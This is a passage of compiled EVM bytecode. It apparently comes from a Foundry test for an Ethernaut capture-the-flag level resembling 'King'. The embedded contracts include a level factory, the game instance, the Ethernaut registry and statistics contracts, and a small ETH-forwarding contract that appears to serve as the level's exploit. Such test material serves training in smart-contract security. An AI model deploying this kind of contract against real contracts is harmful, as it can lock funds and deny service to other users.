0316835260018101805483518187028101870190945280845293949193858301939283018282801562000ee657602002820191905f5260205f20905f905b82829054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19168152602001906004019060208260030104928301926001038202915080841162000e925790505b5050505050815250508152602001906001019062000e28565b60605f8267ffffffffffffffff81111562000f1e5762000f1e62001bc9565b60405190808252806020026020018201604052801562000f48578160200160208202803683370190505b5090505f5b8381101562001088575f306001600160a01b031663b90a68fa6040518163ffffffff1660e01b81526004016020604051808303815f875af115801562000f95573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000fbb919062002369565b6040517fc88a5e6d0000000000000000000000000000000000000000000000000000000081526001600160a01b038216600482015268056bc75e2d631000006024820152909150737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c88a5e6d906044015f604051808303815f87803b15801562001039575f80fd5b505af11580156200104c573d5f803e3d5ffd5b505050508083838151811062001066576200106662001fa2565b6001600160a01b03909216602092830291909101909101525060010162000f4d565b5092915050565b6023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d906306447d56906024015f604051808303815f87803b158015620010e6575f80fd5b505af1158015620010f9573d5f803e3d5ffd5b505050505f6040516200110c9062001aeb565b604051809103905ff08015801562001126573d5f803e3d5ffd5b506021546040517fde98b9920000000000000000000000000000000000000000000000000000000081526001600160a01b03918216600482015291925082169063de98b99290671be4f459be890000906024015f604051808303818588803b15801562001191575f80fd5b505af1158015620011a4573d5f803e3d5ffd5b5050602054602154620011d29450620011cc93506001600160a01b03918216925016620014c3565b62001a0b565b50565b6060601a805480602002602001604051908101604052809291908181526020015f905b8282101562000d3c578382905f5260205f2001805462001218906200232f565b80601f016020809104026020016040519081016040528092919081815260200182805462001246906200232f565b8015620012955780601f106200126b5761010080835404028352916020019162001295565b820191905f5260205f20905b8154815290600101906020018083116200127757829003601f168201915b505050505081526020019060010190620011f8565b5f80604051620012ba9062001af9565b604051809103905ff080158015620012d4573d5f803e3d5ffd5b5090505f604051620012e69062001b07565b604051809103905ff08015801562001300573d5f803e3d5ffd5b508483604051620013119062001b15565b6001600160a01b03938416815291831660208301529091166040820152606001604051809103905ff0801580156200134b573d5f803e3d5ffd5b506040517fbe117dfd0000000000000000000000000000000000000000000000000000000081526001600160a01b0380831660048301529192509083169063be117dfd906024015f604051808303815f87803b158015620013aa575f80fd5b505af1158015620013bd573d5f803e3d5ffd5b50939695505050505050565b6060601c805480602002602001604051908101604052809291908181526020015f905b8282101562000d3c575f8481526020908190206040805180820182526002860290920180546001600160a01b03168352600181018054835181870281018701909452808452939491938583019392830182828015620014aa57602002820191905f5260205f20905f905b82829054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191681526020019060040190602082600301049283019260010382029150808411620014565790505b50505050508152505081526020019060010190620013ec565b5f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166341af2f526040518163ffffffff1660e01b81526004015f604051808303815f87803b1580156200151f575f80fd5b505af115801562001532573d5f803e3d5ffd5b50506040517fc882d7c20000000000000000000000000000000000000000000000000000000081526001600160a01b0385811660048301528616925063c882d7c291506024015f604051808303815f87803b15801562001590575f80fd5b505af1158015620015a3573d5f803e3d5ffd5b505050505f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663191553a46040518163ffffffff1660e01b81526004015f604051808303815f875af115801562001607573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262001630919081019062002043565b9050600181511115620016485760019150506200164d565b5f9150505b92915050565b60606019805480602002602001604051908101604052809291908181526020015f905b8282101562000d3c578382905f5260205f2001805462001696906200232f565b80601f0160208091040260200160405190810160405280929190818152602001828054620016c4906200232f565b8015620017135780601f10620016e95761010080835404028352916020019162001713565b820191905f5260205f20905b815481529060010190602001808311620016f557829003601f168201915b50505050508152602001906001019062001676565b6023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d906306447d56906024015f604051808303815f87803b1580156200177f575f80fd5b505af115801562001792573d5f803e3d5ffd5b5050602054602154620017bf9350620017b992506001600160a01b039182169116620014c3565b62001a8a565b565b6008545f9060ff1615620017d9575060085460ff1690565b6040517f667f9d70000000000000000000000000000000000000000000000000000000008152737109709ecfa91a80626ff3989d68f67f5b1dd12d600482018190527f6661696c6564000000000000000000000000000000000000000000000000000060248301525f9163667f9d7090604401602060405180830381865afa15801562001868573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200188e919062002387565b1415905090565b6060601580548060200260200160405190810160405280929190818152602001828054801562000a2857602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a09575050505050905090565b5f6200190282436200239f565b6040517f1f7b4f3000000000000000000000000000000000000000000000000000000000815260048101829052909150737109709ecfa91a80626ff3989d68f67f5b1dd12d90631f7b4f30906024015f604051808303815f87803b158015620007eb575f80fd5b6040517ffd921be8000000000000000000000000000000000000000000000000000000008152606090737109709ecfa91a80626ff3989d68f67f5b1dd12d9063fd921be890620019c09086908690600401620023b5565b5f60405180830381865afa158015620019db573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262001a049190810190620023e6565b9392505050565b6040517f0c9fd5810000000000000000000000000000000000000000000000000000000081528115156004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d90630c9fd581906024015b5f6040518083038186803b15801562001a70575f80fd5b505afa15801562001a83573d5f803e3d5ffd5b5050505050565b6040517fa59828850000000000000000000000000000000000000000000000000000000081528115156004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063a59828859060240162001a59565b610700806200241d83390190565b6101248062002b1d83390190565b610ae58062002c4183390190565b611e7a806200372683390190565b610daa80620055a083390190565b6001600160a01b0381168114620011d2575f80fd5b5f805f6060848603121562001b4b575f80fd5b833562001b588162001b23565b9250602084013562001b6a8162001b23565b929592945050506040919091013590565b602080825282518282018190525f9190848201906040850190845b8181101562001bbd5783516001600160a01b03168352928401929184019160010162001b96565b50909695505050505050565b634e487b7160e01b5f52604160045260245ffd5b6040516060810167ffffffffffffffff8111828210171562001c035762001c0362001bc9565b60405290565b604051601f8201601f1916810167ffffffffffffffff8111828210171562001c355762001c3562001bc9565b604052919050565b5f67ffffffffffffffff82111562001c595762001c5962001bc9565b50601f01601f191660200190565b5f6020828403121562001c78575f80fd5b813567ffffffffffffffff81111562001c8f575f80fd5b8201601f8101841362001ca0575f80fd5b803562001cb762001cb18262001c3d565b62001c09565b81815285602083850101111562001ccc575f80fd5b816020840160208301375f91810160200191909152949350505050565b5f5b8381101562001d0557818101518382015260200162001ceb565b50505f910152565b5f815180845262001d2681602086016020860162001ce9565b601f01601f19169290920160200192915050565b602080825282518282018190525f919060409081850190600581811b87018401888601875b8481101562001dee57603f198a8403018652815180516001600160a01b03168452880151888401889052805188850181905290890190606081871b8601810191908601905f5b8181101562001dd757605f1988850301835262001dc484865162001d0d565b948d01949350918c019160010162001da5565b505050968901969350509087019060010162001d5f565b50909998505050505050505050565b5f60208083018184528085518083526040925060408601915060408160051b8701018488015f5b8381101562001ebc57888303603f19018552815180516001600160a01b031684528701518784018790528051878501819052908801905f9060608601905b8083101562001ea65783517fffffffff00000000000000000000000000000000000000000000000000000000168252928a019260019290920191908a019062001e62565b5096890196945050509086019060010162001e24565b509098975050505050505050565b5f6020828403121562001edb575f80fd5b5035919050565b5f60208083016020845280855180835260408601915060408160051b8701019250602087015f5b8281101562001f3b57603f1988860301845262001f2885835162001d0d565b9450928501929085019060010162001f09565b5092979650505050505050565b5f6020828403121562001f59575f80fd5b813562001a048162001b23565b5f806040838503121562001f78575f80fd5b823562001f858162001b23565b9150602083013562001f978162001b23565b809150509250929050565b634e487b7160e01b5f52603260045260245ffd5b5f67ffffffffffffffff82111562001fd25762001fd262001bc9565b5060051b60200190565b5f62001fec62001cb18462001c3d565b905082815283838301111562002000575f80fd5b62001a0483602083018462001ce9565b5f82601f83011262002020575f80fd5b62001a048383516020850162001fdc565b80516200203e8162001b23565b919050565b5f602080838503121562002055575f80fd5b825167ffffffffffffffff808211156200206d575f80fd5b818501915085601f83011262002081575f80fd5b81516200209262001cb18262001fb6565b81815260059190911b83018401908481019088831115620020b1575f80fd5b8585015b83811015620021b257805185811115620020cd575f80fd5b86016060818c03601f19011215620020e3575f80fd5b620020ed62001bdd565b8882015187811115620020fe575f80fd5b8201603f81018d136200210f575f80fd5b898101516200212262001cb18262001fb6565b81815260059190911b8201604001908b8101908f83111562002142575f80fd5b6040840193505b82841015620021645783518252928c0192908c019062002149565b84525050506040820151878111156200217b575f80fd5b6200218b8d8b8386010162002010565b8a830152506200219e6060830162002031565b6040820152845250918601918601620020b5565b5098975050505050505050565b634e487b7160e01b5f52601160045260245ffd5b818103818111156200164d576200164d620021bf565b5f60208284031215620021fa575f80fd5b815167ffffffffffffffff81111562002211575f80fd5b8201601f8101841362002222575f80fd5b620022338482516020840162001fdc565b949350505050565b7f2f6f75742f00000000000000000000000000000000000000000000000000000081525f83516200227481600585016020880162001ce9565b7f2e736f6c2f0000000000000000000000000000000000000000000000000000006005918401918201528351620022b381600a84016020880162001ce9565b7f2e6a736f6e000000000000000000000000000000000000000000000000000000600a9290910191820152600f01949350505050565b5f8351620022fc81846020880162001ce9565b8351908301906200231281836020880162001ce9565b01949350505050565b602081525f62001a04602083018462001d0d565b600181811c908216806200234457607f821691505b6020821081036200236357634e487b7160e01b5f52602260045260245ffd5b50919050565b5f602082840312156200237a575f80fd5b815162001a048162001b23565b5f6020828403121562002398575f80fd5b5051919050565b808201808211156200164d576200164d620021bf565b604081525f620023c9604083018562001d0d565b8281036020840152620023dd818562001d0d565b95945050505050565b5f60208284031215620023f7575f80fd5b815167ffffffffffffffff8111156200240e575f80fd5b62002233848285016200201056fe608060405266038d7ea4c6800060015534801561001a575f80fd5b5061002433610029565b610078565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b61067b806100855f395ff3fe608060405260043610610066575f3560e01c806390696af91161004157806390696af9146100d3578063d38def5b146100f6578063f2fde38b14610125575f80fd5b8063715018a6146100715780637726f776146100875780638da5cb5b146100b7575f80fd5b3661006d57005b5f80fd5b34801561007c575f80fd5b50610085610144565b005b61009a610095366004610422565b610157565b6040516001600160a01b0390911681526020015b60405180910390f35b3480156100c2575f80fd5b505f546001600160a01b031661009a565b3480156100de575f80fd5b506100e860015481565b6040519081526020016100ae565b348015610101575f80fd5b50610115610110366004610444565b6101de565b60405190151581526020016100ae565b348015610130575f80fd5b5061008561013f366004610422565b6102b1565b61014c610341565b6101555f61039a565b565b5f6001543410156101af5760405162461bcd60e51b815260206004820152601c60248201527f4d7573742073656e64206174206c6561737420302e303031204554480000000060448201526064015b60405180910390fd5b346040516101bc90610401565b6040518091039082f09050801580156101d7573d5f803e3d5ffd5b5092915050565b6040515f90839082906001600160a01b0383169082908181818181875af1925050503d805f811461022a576040519150601f19603f3d011682016040523d82523d5f602084013e61022f565b606091505b50509050306001600160a01b0316826001600160a01b03166329cc6d6f6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610279573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061029d919061047b565b6001600160a01b0316141595945050505050565b6102b9610341565b6001600160a01b0381166103355760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084016101a6565b61033e8161039a565b50565b5f546001600160a01b031633146101555760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016101a6565b5f80546001600160a01b038381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6101af8061049783390190565b6001600160a01b038116811461033e575f80fd5b5f60208284031215610432575f80fd5b813561043d8161040e565b9392505050565b5f8060408385031215610455575f80fd5b82356104608161040e565b915060208301356104708161040e565b809150509250929050565b5f6020828403121561048b575f80fd5b815161043d8161040e56fe6080604052600280546001600160a01b0319908116339081179092555f8054909116909117905534600155610178806100375f395ff3fe608060405260043610610036575f3560e01c806329cc6d6f146100cb5780638da5cb5b14610100578063e3ac5d261461011f575f80fd5b366100c7576001543410158061005657506002546001600160a01b031633145b61005e575f80fd5b5f80546040516001600160a01b03909116913480156108fc02929091818181858888f19350505050158015610095573d5f803e3d5ffd5b505f80547fffffffffffffffffffffffff00000000000000000000000000000000000000001633179055346001819055005b5f80fd5b3480156100d6575f80fd5b505f546001600160a01b03165b6040516001600160a01b0390911681526020015b60405180910390f35b34801561010b575f80fd5b506002546100e3906001600160a01b031681565b34801561012a575f80fd5b5061013460015481565b6040519081526020016100f756fea2646970667358221220a6f44ad3ceb864e9789ad85621d452c5eb4ca2398ce14d62b98e9bf9c97e3b5864736f6c63430008180033a26469706673582212204ef9b8b2996cf7680dcb2945afe60c656d721675c4d1bab26f5a56982a186e6264736f6c63430008180033608060405234801561000f575f80fd5b506101078061001d5f395ff3fe608060405260043610601b575f3560e01c8063de98b99214601f575b5f80fd5b602e602a3660046099565b6030565b005b5f8173ffffffffffffffffffffffffffffffffffffffff16346040515f6040518083038185875af1925050503d805f81146084576040519150601f19603f3d011682016040523d82523d5f602084013e6089565b606091505b50509050806095575f80fd5b5050565b5f6020828403121560a8575f80fd5b813573ffffffffffffffffffffffffffffffffffffffff8116811460ca575f80fd5b939250505056fea2646970667358221220bc8ab1747f14347b2d149b6123b0fee20b24a01cb65c14b8bf71dd7842acc21a64736f6c63430008180033608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b610a6b8061007a5f395ff3fe6080604052600436106100ad575f3560e01c8063be117dfd11610066578063cf0046951161004c578063cf004695146101eb578063dfc86b1714610229578063f2fde38b1461023c575f80fd5b8063be117dfd146101ad578063c882d7c2146101cc575f80fd5b8063715018a611610096578063715018a61461014a5780638da5cb5b1461015e57806395e272bd1461018e575f80fd5b8063202023d4146100b15780634f17afd8146100d2575b5f80fd5b3480156100bc575f80fd5b506100d06100cb3660046109d9565b61025b565b005b3480156100dd575f80fd5b5061011d6100ec3660046109d9565b60036020525f9081526040902080546001909101546001600160a01b0391821691811690600160a01b900460ff1683565b604080516001600160a01b0394851681529390921660208401521515908201526060015b60405180910390f35b348015610155575f80fd5b506100d06102f6565b348015610169575f80fd5b505f546001600160a01b03165b6040516001600160a01b039091168152602001610141565b348015610199575f80fd5b50600154610176906001600160a01b031681565b3480156101b8575f80fd5b506100d06101c73660046109d9565b610309565b3480156101d7575f80fd5b506100d06101e63660046109d9565b610340565b3480156101f6575f80fd5b506102196102053660046109d9565b60026020525f908152604090205460ff1681565b6040519015158152602001610141565b6100d06102373660046109d9565b610642565b348015610247575f80fd5b506100d06102563660046109d9565b610880565b610263610910565b6001600160a01b038181165f8181526002602052604090819020805460ff191660019081179091555490517fcd819a6f00000000000000000000000000000000000000000000000000000000815260048101929092529091169063cd819a6f906024015f604051808303815f87803b1580156102dd575f80fd5b505af11580156102ef573d5f803e3d5ffd5b5050505050565b6102fe610910565b6103075f610969565b565b610311610910565b6001805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b6001600160a01b038082165f908152600360205260409020805490911633146103d65760405162461bcd60e51b815260206004820152603060248201527f5468697320696e7374616e636520646f65736e27742062656c6f6e6720746f2060448201527f7468652063757272656e7420757365720000000000000000000000000000000060648201526084015b60405180910390fd5b6001810154600160a01b900460ff16156104325760405162461bcd60e51b815260206004820181905260248201527f4c6576656c20686173206265656e20636f6d706c6574656420616c726561647960448201526064016103cd565b60018101546040517fd38def5b0000000000000000000000000000000000000000000000000000000081526001600160a01b0384811660048301523360248301529091169063d38def5b906044016020604051808303815f875af115801561049c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104c091906109fb565b156105b95760018181018054600160a01b7fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff82161790915590546040517f2c038c320000000000000000000000000000000000000000000000000000000081526001600160a01b0385811660048301529283166024820152336044820152911690632c038c32906064015f604051808303815f87803b158015610561575f80fd5b505af1158015610573573d5f803e3d5ffd5b5050505060018101546040516001600160a01b039182169184169033907f5038a30b900118d4e513ba62ebd647a96726a6f81b8fda73c21e9da45df5423d905f90a45050565b60018054908201546040517fd0f191e00000000000000000000000000000000000000000000000000000000081526001600160a01b038581166004830152918216602482015233604482015291169063d0f191e0906064015f604051808303815f87803b158015610628575f80fd5b505af115801561063a573d5f803e3d5ffd5b505050505050565b6001600160a01b0381165f9081526002602052604090205460ff166106a95760405162461bcd60e51b815260206004820152601960248201527f54686973206c6576656c20646f65736e2774206578697374730000000000000060448201526064016103cd565b6040517f7726f7760000000000000000000000000000000000000000000000000000000081523360048201525f906001600160a01b03831690637726f77690349060240160206040518083038185885af1158015610709573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061072e9190610a1a565b60408051606081018252338082526001600160a01b0386811660208085018281525f8688018181528986168083526003909452908890209651875473ffffffffffffffffffffffffffffffffffffffff191690861617875590516001968701805492519186167fffffffffffffffffffffff00000000000000000000000000000000000000000090931692909217600160a01b91151591909102179055935494517f7e4326d3000000000000000000000000000000000000000000000000000000008152600481019490945260248401526044830191909152929350911690637e4326d3906064015f604051808303815f87803b15801561082d575f80fd5b505af115801561083f573d5f803e3d5ffd5b50506040516001600160a01b0380861693508416915033907f8be8bd7b4324b3d47aca5c3f64cb70e8f645e6fe94da668699951658f6384179905f90a45050565b610888610910565b6001600160a01b0381166109045760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084016103cd565b61090d81610969565b50565b5f546001600160a01b031633146103075760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103cd565b5f80546001600160a01b0383811673ffffffffffffffffffffffffffffffffffffffff19831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b038116811461090d575f80fd5b5f602082840312156109e9575f80fd5b81356109f4816109c5565b9392505050565b5f60208284031215610a0b575f80fd5b815180151581146109f4575f80fd5b5f60208284031215610a2a575f80fd5b81516109f4816109c556fea2646970667358221220f875e80df3dbb1bbf8a1ba93e5adadf18e3885d13abc24020d489fb4c369f37264736f6c63430008180033608060405234801561000f575f80fd5b50611e5d8061001d5f395ff3fe608060405234801561000f575f80fd5b50600436106101bb575f3560e01c80639cbf280d116100f3578063d0f191e011610093578063e2d8716f1161006e578063e2d8716f146103ca578063f3a39909146103dd578063f71d96cb14610408578063fb66d7ab1461041b575f80fd5b8063d0f191e014610391578063d844f6a4146103a4578063e041ae9b146103b7575f80fd5b8063ba5d8082116100ce578063ba5d80821461031d578063bc3086a214610358578063c4d66de81461036b578063cd819a6f1461037e575f80fd5b80639cbf280d146102c7578063a7e1acdf146102da578063b2596a671461030a575f80fd5b80637cbe8d041161015e5780637e4326d3116101395780637e4326d3146102865780638b146ad6146102995780638dc03535146102ac578063900f09ac146102bf575f80fd5b80637cbe8d041461026e5780637ceb9533146102765780637e0ca04f1461027e575f80fd5b80633aa46685116101995780633aa466851461020d5780633d9aeaef14610235578063763fdb45146102485780637a9b6dda1461025b575f80fd5b806322ae77ec146101bf5780632c038c32146101e557806336204198146101fa575b5f80fd5b6101d26101cd366004611cab565b610423565b6040519081526020015b60405180910390f35b6101f86101f3366004611cdc565b61054f565b005b6101d2610208366004611d1c565b6109b1565b6101d261021b366004611d1c565b6001600160a01b03165f9081526010602052604090205490565b6101d2610243366004611d1c565b610a2d565b6101d2610256366004611d1c565b610aab565b6101d2610269366004611d1c565b610b27565b6003546101d2565b6005546101d2565b6002546101d2565b6101f8610294366004611cdc565b610ba3565b6101d26102a7366004611d1c565b610f29565b6101d26102ba366004611cab565b610fa5565b6004546101d2565b6101d26102d5366004611d1c565b611125565b5f546102f2906201000090046001600160a01b031681565b6040516001600160a01b0390911681526020016101dc565b6102f2610318366004611d35565b6111a0565b61034861032b366004611d1c565b6001600160a01b03165f908152600e602052604090205460ff1690565b60405190151581526020016101dc565b6101d2610366366004611d1c565b6111c8565b6101f8610379366004611d1c565b611257565b6101f861038c366004611d1c565b6113a1565b6101f861039f366004611cdc565b6114f0565b6101d26103b2366004611d4c565b61183e565b6101d26103c5366004611d1c565b6119c6565b6103486103d8366004611cab565b611a44565b6103486103eb366004611d1c565b6001600160a01b03165f908152600f602052604090205460ff1690565b6102f2610416366004611d35565b611b3f565b6001546101d2565b6001600160a01b0381165f908152600e6020526040812054829060ff166104885760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b60448201526064015b60405180910390fd5b836104aa816001600160a01b03165f908152600f602052604090205460ff1690565b6104ec5760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038481165f908152600d6020908152604080832089851684529091529020541661051d575f610546565b6001600160a01b038085165f908152600d60209081526040808320938916835292905220600301545b95945050505050565b5f546201000090046001600160a01b031633146105bc5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b816105de816001600160a01b03165f908152600f602052604090205460ff1690565b6106205760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b81610642816001600160a01b03165f908152600e602052604090205460ff1690565b6106855760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b6001600160a01b038381165f908152600d602090815260408083208885168452909152902054166107065760405162461bcd60e51b815260206004820152602560248201527f496e7374616e636520666f7220746865206c6576656c206973206e6f7420637260448201526419585d195960da1b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832088851684529091529020548116908616146107905760405162461bcd60e51b815260206004820152602960248201527f5375626d697474656420696e7374616e6365206973206e6f74207468652063726044820152686561746564206f6e6560b81b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832093881683529290522054600160a01b900460ff161561080c5760405162461bcd60e51b815260206004820152601760248201527f4c6576656c20616c726561647920636f6d706c65746564000000000000000000604482015260640161047f565b6001600160a01b038084165f908152600c6020908152604080832093881683529290529081205490036108df576001600160a01b0383165f90815260066020526040812080549161085c83611d99565b90915550506001600160a01b038084165f818152600c602090815260408083209489168352938152838220429055918152600690915290812054906108a2858784611b4e565b90508181866001600160a01b03167f18f89fb58208351d054bc0794e723a333ae0a74acd73825a9f31d89af0c6755160405160405180910390a450505b6001600160a01b038084165f908152600d6020908152604080832093881680845293825280832060038101805460018181018355918652848620429101819055600283015594845280547fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff16600160a01b179055600a909152812090910180549161096983611d99565b909155505060048054905f61097d83611d99565b90915550506001600160a01b0383165f9081526008602052604081208054916109a583611d99565b91905055505050505050565b6001600160a01b0381165f908152600e6020526040812054829060ff16610a115760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526006602052604090205490565b6001600160a01b0381165f908152600f6020526040812054829060ff16610a8c5760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b50506001600160a01b03165f908152600a602052604090206001015490565b6001600160a01b0381165f908152600e6020526040812054829060ff16610b0b5760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526008602052604090205490565b6001600160a01b0381165f908152600e6020526040812054829060ff16610b875760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526009602052604090205490565b5f546201000090046001600160a01b03163314610c105760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b81610c32816001600160a01b03165f908152600f602052604090205460ff1690565b610c745760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b0382165f908152600e602052604090205460ff16610d00576001805480820182557fb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf601805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0385169081179091555f908152600e60205260409020805460ff191690911790555b6001600160a01b038281165f908152600d60209081526040808320878516845290915290205416610d53576001600160a01b038083165f908152600b602090815260408083209387168352929052204290555b6040805160a0810182526001600160a01b0380871682525f60208084018290524284860152606084018290528683168252600d815284822092881682529190915291822060030154909160808301919003610dbb57604080515f815260208101909152610e2b565b6001600160a01b038085165f908152600d6020908152604080832093891683529281529082902060030180548351818402810184019094528084529091830182828015610e2557602002820191905f5260205f20905b815481526020019060010190808311610e11575b50505050505b90526001600160a01b038084165f908152600d60209081526040808320888516845282529182902084518154868401511515600160a01b027fffffffffffffffffffffff00000000000000000000000000000000000000000090911691909516179390931783559083015160018301556060830151600283015560808301518051610ebc9260038501920190611c33565b5050506001600160a01b0383165f908152600a60205260408120805491610ee283611d99565b909155505060038054905f610ef683611d99565b90915550506001600160a01b0382165f908152600760205260408120805491610f1e83611d99565b919050555050505050565b6001600160a01b0381165f908152600e6020526040812054829060ff16610f895760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526007602052604090205490565b6001600160a01b0382165f908152600e6020526040812054839060ff166110055760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b82611027816001600160a01b03165f908152600f602052604090205460ff1690565b6110695760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038086165f908152600c6020908152604080832093881683529290529081205490036110de5760405162461bcd60e51b815260206004820152601360248201527f4c6576656c206e6f7420636f6d706c6574656400000000000000000000000000604482015260640161047f565b6001600160a01b038086165f818152600b6020908152604080832094891680845294825280832054938352600c825280832094835293905291909120546105469190611db1565b6001600160a01b0381165f908152600f6020526040812054829060ff166111845760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b50506001600160a01b03165f908152600a602052604090205490565b600281815481106111af575f80fd5b5f918252602090912001546001600160a01b0316905081565b6001600160a01b0381165f908152600e6020526040812054829060ff166112285760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b600254611234846109b1565b61124690670de0b6b3a7640000611dca565b6112509190611de1565b9392505050565b5f54610100900460ff161580801561127557505f54600160ff909116105b8061128e5750303b15801561128e57505f5460ff166001145b6113005760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201527f647920696e697469616c697a6564000000000000000000000000000000000000606482015260840161047f565b5f805460ff191660011790558015611321575f805461ff0019166101001790555b5f80547fffffffffffffffffffff0000000000000000000000000000000000000000ffff16620100006001600160a01b03851602179055801561139d575f805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b5050565b806113c3816001600160a01b03165f908152600f602052604090205460ff1690565b156114105760405162461bcd60e51b815260206004820152601460248201527f4c6576656c20616c726561647920657869737473000000000000000000000000604482015260640161047f565b5f546201000090046001600160a01b0316331461147d5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b506001600160a01b03165f818152600f60205260408120805460ff191660019081179091556002805491820181559091527f405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace01805473ffffffffffffffffffffffffffffffffffffffff19169091179055565b5f546201000090046001600160a01b0316331461155d5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b8161157f816001600160a01b03165f908152600f602052604090205460ff1690565b6115c15760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b816115e3816001600160a01b03165f908152600e602052604090205460ff1690565b6116265760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b6001600160a01b038381165f908152600d602090815260408083208885168452909152902054166116a75760405162461bcd60e51b815260206004820152602560248201527f496e7374616e636520666f7220746865206c6576656c206973206e6f7420637260448201526419585d195960da1b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832088851684529091529020548116908616146117315760405162461bcd60e51b815260206004820152602960248201527f5375626d697474656420696e7374616e6365206973206e6f74207468652063726044820152686561746564206f6e6560b81b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832093881683529290522054600160a01b900460ff16156117ad5760405162461bcd60e51b815260206004820152601760248201527f4c6576656c20616c726561647920636f6d706c65746564000000000000000000604482015260640161047f565b6001600160a01b038084165f908152600d60209081526040808320938816808452938252808320600301805460018101825590845282842042910155928252600a905290